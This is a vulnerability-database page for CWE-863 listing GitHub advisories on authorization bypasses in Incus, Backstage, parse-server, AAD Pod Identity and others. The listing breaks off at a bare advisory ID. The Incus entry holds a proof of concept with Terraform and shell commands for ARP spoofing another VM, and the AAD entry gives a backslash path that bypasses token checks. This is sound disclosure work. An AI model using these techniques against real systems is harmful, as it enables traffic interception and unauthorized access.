Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5541 vulnerabilities reference this CWE, most recent first.

GHSA-P75P-X3J9-7VJ3

Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2023-08-08 15:31
VLAI
Details

The Net::Netmask module before 2.0000 for Perl does not properly consider extraneous zero characters at the beginning of an IP address string, which (in some situations) allows attackers to bypass access control that is based on IP addresses.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-29424"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-06T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Net::Netmask module before 2.0000 for Perl does not properly consider extraneous zero characters at the beginning of an IP address string, which (in some situations) allows attackers to bypass access control that is based on IP addresses.",
  "id": "GHSA-p75p-x3j9-7vj3",
  "modified": "2023-08-08T15:31:17Z",
  "published": "2022-05-24T17:46:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29424"
    },
    {
      "type": "WEB",
      "url": "https://blog.urth.org/2021/03/29/security-issues-in-perl-ip-address-distros"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CBJVLXJSWN6DKSF5ADUEERI6M23R3GGP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JF4CYIZELC3NISB3RMV4OCI4GYBC557B"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/Y7JIPQAY5OZ5D3DA7INQILU7SGHTHMWB"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/changes/distribution/Net-Netmask#L11-22"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210604-0007"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P77R-CRFJ-P4F9

Vulnerability from github – Published: 2023-07-06 21:14 – Updated: 2023-11-01 18:30
VLAI
Details

The Web Stories for WordPress plugin supports the WordPress built-in functionality of protecting content with a password. The content is then only accessible to website visitors after entering the password. In WordPress, users with the "Author" role can create stories, but don't have the ability to edit password protected stories. The vulnerability allowed users with said role to bypass this permission check when trying to duplicate the protected story in the plugin's own dashboard, giving them access to the seemingly protected content. We recommend upgrading to version 1.32 or beyond commit  ad49781c2a35c5c92ef704d4b621ab4e5cb77d68 https://github.com/GoogleForCreators/web-stories-wp/commit/ad49781c2a35c5c92ef704d4b621ab4e5cb77d68

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-1979"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-08T17:15:11Z",
    "severity": "MODERATE"
  },
  "details": "The Web Stories for WordPress plugin supports the WordPress built-in functionality of protecting content with a password. The content is then only accessible to website visitors after entering the password. In WordPress, users with the \"Author\" role can create stories, but don\u0027t have the ability to edit password protected stories. The vulnerability allowed users with said role to bypass this permission check when trying to duplicate the protected story in the plugin\u0027s own dashboard, giving them access to the seemingly protected content. We recommend upgrading to version 1.32 or beyond commit\u00a0 ad49781c2a35c5c92ef704d4b621ab4e5cb77d68 https://github.com/GoogleForCreators/web-stories-wp/commit/ad49781c2a35c5c92ef704d4b621ab4e5cb77d68 \n",
  "id": "GHSA-p77r-crfj-p4f9",
  "modified": "2023-11-01T18:30:29Z",
  "published": "2023-07-06T21:14:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1979"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GoogleForCreators/web-stories-wp/commit/ad49781c2a35c5c92ef704d4b621ab4e5cb77d68"
    },
    {
      "type": "WEB",
      "url": "https://github.com/GoogleForCreators/web-stories-wp/releases/tag/v1.32.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P7FW-VJJM-2RWP

Vulnerability from github – Published: 2025-06-26 21:12 – Updated: 2026-03-30 13:54
VLAI
Summary
Incus creates nftables rules that partially bypass security options
Details

Summary

When using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge.

Details

In commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain:

ct state established,related accept

iifname "{{.hostName}}" ether type arp accept
iifname "{{.hostName}}" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept

However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering", "IPv4 filtering" and "IPv6 filtering" snippets:

iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop
...
iifname "{{.hostName}}" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop
...
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop

Basically, the added rules partially bypass the security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136).

PoC

With this terraform infrastructure:

resource "incus_network_acl" "acl_allow_out" {
  name    = "acl-allow-out"
  egress = [
    {
      action           = "allow"
      destination      = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254"
      state            = "enabled"
    },
  ]
}
resource "incus_network_acl" "acl_allow_in" {
  name    = "acl-allow-in"
  ingress = [
    {
      action           = "allow"
      state            = "enabled"
    },
  ]
}

resource "incus_network" "br0" {
  name = "br0"
  config = {
    "ipv4.address"          = "10.0.0.1/24"
    "ipv4.nat"              = "true"
  }
}

resource "incus_instance" "machine1" {
  name  = "machine1"
  image = "images:archlinux/cloud"
  type = "virtual-machine"
  config = {
    "limits.memory" = "2GiB"
    "security.secureboot" = false
    "boot.autostart" = false
    "cloud-init.vendor-data" = <<-EOF
      #cloud-config
      package_update: true
      packages:
        - dhclient
        - tcpdump
      runcmd:
        - systemctl disable --now systemd.networkd.service
        - systemctl disable --now systemd.networkd.socket
    EOF
  }
  device {
    type = "disk"
    name = "root"
    properties = {
      pool = "default"
      path = "/"
      size = "64GiB"
    }
  }
  device {
    type = "nic"
    name = "eth0"
    properties = {
      network = incus_network.br0.name
      "security.ipv4_filtering" = true
      "security.acls" = join(",",
        [
          incus_network_acl.acl_allow_out.name,
          incus_network_acl.acl_allow_in.name,
        ])
    }
  }
}

resource "incus_instance" "machine2" {
  name  = "machine2"
  image = "images:archlinux/cloud"
  type = "virtual-machine"
  config = {
    "limits.memory" = "2GiB"
    "security.secureboot" = false
    "boot.autostart" = false
  }
  device {
    type = "disk"
    name = "root"
    properties = {
      pool = "default"
      path = "/"
      size = "64GiB"
    }
  }
  device {
    type = "nic"
    name = "eth0"
    properties = {
      network = incus_network.br0.name
    }
  }
}

An attacker in a VM (machine1) change their IP address to another VM (machine2)'s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2's IP, it is sent to machine1. In addition, as ct state established,related accept is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network.

[HOST]$ ip n
10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2
10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1

# Spoof machine2
[MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0
[MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0

# Flood
[MACHINE1]$ arping 10.0.0.1

# Machine2's IP refers to machine1's MAC in host ARP table
[HOST]$ ip n
10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE

# Packets from the host (or forwarded by the host) to machine2 ...
[HOST]$ ping 10.0.0.236
PING 10.0.0.236 (10.0.0.236) 56(84) bytes of data.
64 bytes from 10.0.0.236: icmp_seq=1 ttl=64 time=1.19 ms

# ... are sent to machine1!
[MACHINE1]$ tcpdump -nei enp5s0
listening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
15:15:17.008470 10:66:6a:99:e0:d8 > 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 > 10.0.0.236: ICMP echo request, id 4, seq 1, length 64
15:15:17.008513 10:66:6a:89:39:45 > 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 > 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64

Impact

All versions since d137a063c2fe2a6983c995ba75c03731bee1557d, so basically v6.12 and v6.13.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.13.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.12.0"
            },
            {
              "fixed": "6.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-52890"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-26T21:12:45Z",
    "nvd_published_at": "2025-06-25T17:15:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge.\n\n### Details\n\nIn commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain:\n\n    ct state established,related accept\n\n    iifname \"{{.hostName}}\" ether type arp accept\n    iifname \"{{.hostName}}\" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept\n\nHowever, these rules accept packets that should be filtered and maybe dropped by later rules in the \"MAC filtering\", \"IPv4 filtering\" and \"IPv6 filtering\" snippets:\n\n\tiifname \"{{.hostName}}\" ether type arp arp saddr ether != {{.hwAddr}} drop\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop\n    ...\n    iifname \"{{.hostName}}\" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop\n    ...\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop\n\nBasically, the added rules partially bypass the security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136).\n\n### PoC\n\nWith this terraform infrastructure:\n\n```\nresource \"incus_network_acl\" \"acl_allow_out\" {\n  name    = \"acl-allow-out\"\n  egress = [\n    {\n      action           = \"allow\"\n      destination      = \"0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254\"\n      state            = \"enabled\"\n    },\n  ]\n}\nresource \"incus_network_acl\" \"acl_allow_in\" {\n  name    = \"acl-allow-in\"\n  ingress = [\n    {\n      action           = \"allow\"\n      state            = \"enabled\"\n    },\n  ]\n}\n\nresource \"incus_network\" \"br0\" {\n  name = \"br0\"\n  config = {\n    \"ipv4.address\"          = \"10.0.0.1/24\"\n    \"ipv4.nat\"              = \"true\"\n  }\n}\n\nresource \"incus_instance\" \"machine1\" {\n  name  = \"machine1\"\n  image = \"images:archlinux/cloud\"\n  type = \"virtual-machine\"\n  config = {\n    \"limits.memory\" = \"2GiB\"\n    \"security.secureboot\" = false\n    \"boot.autostart\" = false\n    \"cloud-init.vendor-data\" = \u003c\u003c-EOF\n      #cloud-config\n      package_update: true\n      packages:\n        - dhclient\n        - tcpdump\n      runcmd:\n        - systemctl disable --now systemd.networkd.service\n        - systemctl disable --now systemd.networkd.socket\n    EOF\n  }\n  device {\n    type = \"disk\"\n    name = \"root\"\n    properties = {\n      pool = \"default\"\n      path = \"/\"\n      size = \"64GiB\"\n    }\n  }\n  device {\n    type = \"nic\"\n    name = \"eth0\"\n    properties = {\n      network = incus_network.br0.name\n      \"security.ipv4_filtering\" = true\n      \"security.acls\" = join(\",\",\n        [\n          incus_network_acl.acl_allow_out.name,\n          incus_network_acl.acl_allow_in.name,\n        ])\n    }\n  }\n}\n\nresource \"incus_instance\" \"machine2\" {\n  name  = \"machine2\"\n  image = \"images:archlinux/cloud\"\n  type = \"virtual-machine\"\n  config = {\n    \"limits.memory\" = \"2GiB\"\n    \"security.secureboot\" = false\n    \"boot.autostart\" = false\n  }\n  device {\n    type = \"disk\"\n    name = \"root\"\n    properties = {\n      pool = \"default\"\n      path = \"/\"\n      size = \"64GiB\"\n    }\n  }\n  device {\n    type = \"nic\"\n    name = \"eth0\"\n    properties = {\n      network = incus_network.br0.name\n    }\n  }\n}\n```\n\nAn attacker in a VM (machine1) change their IP address to another VM (machine2)\u0027s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2\u0027s IP, it is sent to machine1.\nIn addition, as `ct state established,related accept` is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network.\n\n```bash\n[HOST]$ ip n\n10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2\n10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1\n\n# Spoof machine2\n[MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0\n[MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0\n\n# Flood\n[MACHINE1]$ arping 10.0.0.1\n\n# Machine2\u0027s IP refers to machine1\u0027s MAC in host ARP table\n[HOST]$ ip n\n10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE\n\n# Packets from the host (or forwarded by the host) to machine2 ...\n[HOST]$ ping 10.0.0.236\nPING 10.0.0.236 (10.0.0.236) 56(84) bytes of data.\n64 bytes from 10.0.0.236: icmp_seq=1 ttl=64 time=1.19 ms\n\n# ... are sent to machine1!\n[MACHINE1]$ tcpdump -nei enp5s0\nlistening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes\n15:15:17.008470 10:66:6a:99:e0:d8 \u003e 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 \u003e 10.0.0.236: ICMP echo request, id 4, seq 1, length 64\n15:15:17.008513 10:66:6a:89:39:45 \u003e 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 \u003e 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64\n```\n\n### Impact\n\nAll versions since d137a063c2fe2a6983c995ba75c03731bee1557d, so basically v6.12 and v6.13.",
  "id": "GHSA-p7fw-vjjm-2rwp",
  "modified": "2026-03-30T13:54:07Z",
  "published": "2025-06-26T21:12:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-p7fw-vjjm-2rwp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52890"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/commit/254dfd2483ab8de39b47c2258b7f1cf0759231c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incus creates nftables rules that partially bypass security options"
}

GHSA-P7G9-RP3G-MGFG

Vulnerability from github – Published: 2026-05-06 23:04 – Updated: 2026-05-14 20:49
VLAI
Summary
Backstage: Catalog unprocessed read endpoints allow authenticated cross-owner data access without permission checks
Details

Impact

The unprocessed entities read endpoints in @backstage/plugin-catalog-backend-module-unprocessed do not enforce permission authorization checks. Any authenticated user can access unprocessed entity records regardless of ownership. This is an information disclosure vulnerability affecting Backstage installations using this module.

### Patches

This is patched in @backstage/plugin-catalog-backend-module-unprocessed version 0.6.11, @backstage/plugin-catalog-unprocessed-entities-common version 0.0.15 and @backstage/plugin-catalog-unprocessed-entities version 0.2.30. Users should upgrade all packages.

### Workarounds

If users cannot upgrade, they can remove the @backstage/plugin-catalog-backend-module-unprocessed module from their backend until the patch is applied. There is no configuration-based workaround to add permission checks to these endpoints
without upgrading.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@backstage/plugin-catalog-unprocessed-entities-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@backstage/plugin-catalog-unprocessed-entities"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@backstage/plugin-catalog-backend-module-unprocessed"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44374"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:04:07Z",
    "nvd_published_at": "2026-05-14T15:16:48Z",
    "severity": "MODERATE"
  },
  "details": "### Impact   \n\n  The unprocessed entities read endpoints in `@backstage/plugin-catalog-backend-module-unprocessed` do not enforce permission authorization checks. Any authenticated user can access unprocessed entity records regardless of ownership. This is \n  an information disclosure vulnerability affecting Backstage installations using this module.                                                                     \n                                                                        \n  ### Patches             \n                                         \n  This is patched in `@backstage/plugin-catalog-backend-module-unprocessed` version 0.6.11, `@backstage/plugin-catalog-unprocessed-entities-common` version 0.0.15 and `@backstage/plugin-catalog-unprocessed-entities` version 0.2.30. Users should upgrade all packages.                                    \n   \n  ### Workarounds                                                                                                                                                                                                                                  \n                                                                        \n  If users cannot upgrade, they can remove the `@backstage/plugin-catalog-backend-module-unprocessed` module from their backend until the patch is applied. There is no configuration-based workaround to add permission checks to these endpoints    \n  without upgrading.",
  "id": "GHSA-p7g9-rp3g-mgfg",
  "modified": "2026-05-14T20:49:31Z",
  "published": "2026-05-06T23:04:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/backstage/backstage/security/advisories/GHSA-p7g9-rp3g-mgfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44374"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/backstage/backstage"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Backstage: Catalog unprocessed read endpoints allow authenticated cross-owner data access without permission checks"
}

GHSA-P7M9-Q5J5-3JGV

Vulnerability from github – Published: 2022-05-24 19:13 – Updated: 2022-05-24 19:13
VLAI
Details

An access issue was addressed with improved access restrictions. This issue is fixed in macOS Big Sur 11.5, Security Update 2021-004 Catalina, Security Update 2021-005 Mojave. A sandboxed process may be able to circumvent sandbox restrictions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-30783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-08T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An access issue was addressed with improved access restrictions. This issue is fixed in macOS Big Sur 11.5, Security Update 2021-004 Catalina, Security Update 2021-005 Mojave. A sandboxed process may be able to circumvent sandbox restrictions.",
  "id": "GHSA-p7m9-q5j5-3jgv",
  "modified": "2022-05-24T19:13:43Z",
  "published": "2022-05-24T19:13:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30783"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT212600"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT212602"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT212603"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT212805"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2021/Sep/40"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P82Q-RXPM-HJPC

Vulnerability from github – Published: 2022-12-21 18:48 – Updated: 2022-12-21 19:26
VLAI
Summary
AAD Pod Identity obtaining token with backslash
Details

Impact

What kind of vulnerability is it? Who is impacted? The NMI component in AAD Pod Identity intercepts and validates token requests based on regex. In this case, a token request made with backslash in the request (example: /metadata/identity\oauth2\token/) would bypass the NMI validation and be sent to IMDS allowing a pod in the cluster to access identities that it shouldn't have access to.

Patches

Has the problem been patched? What versions should users upgrade to? - We analyzed this bug and determined that we needed to fix it. This fix has been included in AAD Pod Identity release v1.8.13 - If using the AKS pod-managed identities add-on, no action is required. The clusters should now be running the v1.8.13 release.

For more information

If you have any questions or comments about this advisory:

Open an issue in Azure/aad-pod-identity

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/Azure/aad-pod-identity"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-23551"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-21T18:48:22Z",
    "nvd_published_at": "2022-12-21T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThe [NMI](https://azure.github.io/aad-pod-identity/docs/concepts/nmi/) component in AAD Pod Identity intercepts and validates token requests based on regex. In this case, a token request made with backslash in the request (example: `/metadata/identity\\oauth2\\token/`) would bypass the NMI validation and be sent to [IMDS](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows) allowing a pod in the cluster to access identities that it shouldn\u0027t have access to.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n- We analyzed this bug and determined that we needed to fix it. This fix has been included in AAD Pod Identity release [v1.8.13](https://github.com/Azure/aad-pod-identity/releases/tag/v1.8.13)\n- If using the [AKS pod-managed identities add-on](https://learn.microsoft.com/en-us/azure/aks/use-azure-ad-pod-identity), no action is required. The clusters should now be running the `v1.8.13` release.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in [Azure/aad-pod-identity](https://github.com/Azure/aad-pod-identity)\n",
  "id": "GHSA-p82q-rxpm-hjpc",
  "modified": "2022-12-21T19:26:02Z",
  "published": "2022-12-21T18:48:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Azure/aad-pod-identity/security/advisories/GHSA-p82q-rxpm-hjpc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23551"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Azure/aad-pod-identity/commit/7e01970391bde6c360d077066ca17d059204cb5d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Azure/aad-pod-identity"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Azure/aad-pod-identity/releases/tag/v1.8.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AAD Pod Identity obtaining token with backslash"
}

GHSA-P84R-H6RX-F2XR

Vulnerability from github – Published: 2026-06-19 19:34 – Updated: 2026-06-19 19:34
VLAI
Summary
parse-server: Server option routeAllowList is bypassable through batch sub-requests
Details

Impact

The routeAllowList server option restricts external client access to a configured list of REST API routes. The check is only enforced as Express middleware against the outer HTTP request URL, so the /batch handler dispatches each sub-request to the internal router without re-running the allow-list check. An external caller whose outer route matches batch can issue batch sub-requests to any REST API route that the operator omitted from the allow-list.

Authentication, ACL, CLP, and other inner-route authorization controls still apply — only the operator-configured route firewall is bypassed.

Patches

routeAllowList is now re-enforced for each batch sub-request inside the batch handler before dispatch, mirroring the existing per-sub-request rate-limit enforcement pattern. The path-normalization and regex-match logic was extracted into a shared helper used by both the outer middleware and the batch handler. Master and maintenance keys bypass the per-sub-request check on the same terms as the outer middleware.

Workarounds

Operators who use routeAllowList and have allowlisted batch can mitigate without upgrading by explicitly including every inner route they intend to allow via batch in the allow-list (for example, routeAllowList: ['batch', 'classes/Public.*', 'functions/allowedFunction']). This approach makes those inner routes reachable as direct REST requests as well, so it is broader than the post-patch behavior, but it eliminates the bypass.

Operators who do not configure routeAllowList are not affected. Parse Server v8 LTS is not affected because routeAllowList was introduced in v9.8.0.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.8.0"
            },
            {
              "fixed": "9.9.1-alpha.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T19:34:41Z",
    "nvd_published_at": "2026-06-12T19:16:29Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe `routeAllowList` server option restricts external client access to a configured list of REST API routes. The check is only enforced as Express middleware against the outer HTTP request URL, so the `/batch` handler dispatches each sub-request to the internal router without re-running the allow-list check. An external caller whose outer route matches `batch` can issue batch sub-requests to any REST API route that the operator omitted from the allow-list.\n\nAuthentication, ACL, CLP, and other inner-route authorization controls still apply \u2014 only the operator-configured route firewall is bypassed.\n\n### Patches\n\n`routeAllowList` is now re-enforced for each batch sub-request inside the batch handler before dispatch, mirroring the existing per-sub-request rate-limit enforcement pattern. The path-normalization and regex-match logic was extracted into a shared helper used by both the outer middleware and the batch handler. Master and maintenance keys bypass the per-sub-request check on the same terms as the outer middleware.\n\n### Workarounds\n\nOperators who use `routeAllowList` and have allowlisted `batch` can mitigate without upgrading by explicitly including every inner route they intend to allow via batch in the allow-list (for example, `routeAllowList: [\u0027batch\u0027, \u0027classes/Public.*\u0027, \u0027functions/allowedFunction\u0027]`). This approach makes those inner routes reachable as direct REST requests as well, so it is broader than the post-patch behavior, but it eliminates the bypass.\n\nOperators who do not configure `routeAllowList` are not affected. Parse Server v8 LTS is not affected because `routeAllowList` was introduced in v9.8.0.",
  "id": "GHSA-p84r-h6rx-f2xr",
  "modified": "2026-06-19T19:34:41Z",
  "published": "2026-06-19T19:34:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-p84r-h6rx-f2xr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50008"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/10482"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "parse-server: Server option routeAllowList is bypassable through batch sub-requests"
}

GHSA-P87M-WMF9-45H3

Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37
VLAI
Details

The REST/JSON project 7.x-1.x for Drupal allows comment access bypass, aka SA-CONTRIB-2016-033. NOTE: This project is not covered by Drupal's security advisory policy.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-20002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-01T01:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The REST/JSON project 7.x-1.x for Drupal allows comment access bypass, aka SA-CONTRIB-2016-033. NOTE: This project is not covered by Drupal\u0027s security advisory policy.",
  "id": "GHSA-p87m-wmf9-45h3",
  "modified": "2022-05-24T17:37:31Z",
  "published": "2022-05-24T17:37:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-20002"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/node/2744889"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-P887-JCXC-H3QC

